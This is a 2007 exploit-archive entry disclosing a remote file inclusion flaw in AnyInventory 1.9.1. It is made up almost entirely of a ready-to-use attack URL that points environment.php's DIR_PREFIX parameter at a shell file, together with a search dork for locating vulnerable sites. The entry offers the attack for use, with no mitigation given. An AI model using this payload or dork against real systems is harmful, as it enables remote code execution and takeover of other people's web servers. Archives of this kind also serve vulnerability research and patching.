anyinventory-rfi.txt

2007-09-06T00:00:00
ID PACKETSTORM:59104
Type packetstorm
Reporter ThE TiGeR
Modified 2007-09-06T00:00:00

Description

                                        
                                            `#AnyInventory => 1.9.1 Remote file inclusion  
  
#Download script : http://physics.ramapo.edu/downloads/anyInventory-1.9.1.tar.gz  
  
#Exploit :  
  
#http://victime.com/[anyInventory_path]/environment.php?DIR_PREFIX= shell.txt?  
  
#Dork : anyInventory, the most flexible and powerful web-based inventory system  
  
#Discovered by ThE TiGeR  
  
#Miro_Tiger100[at]Hotmail.com  
  
`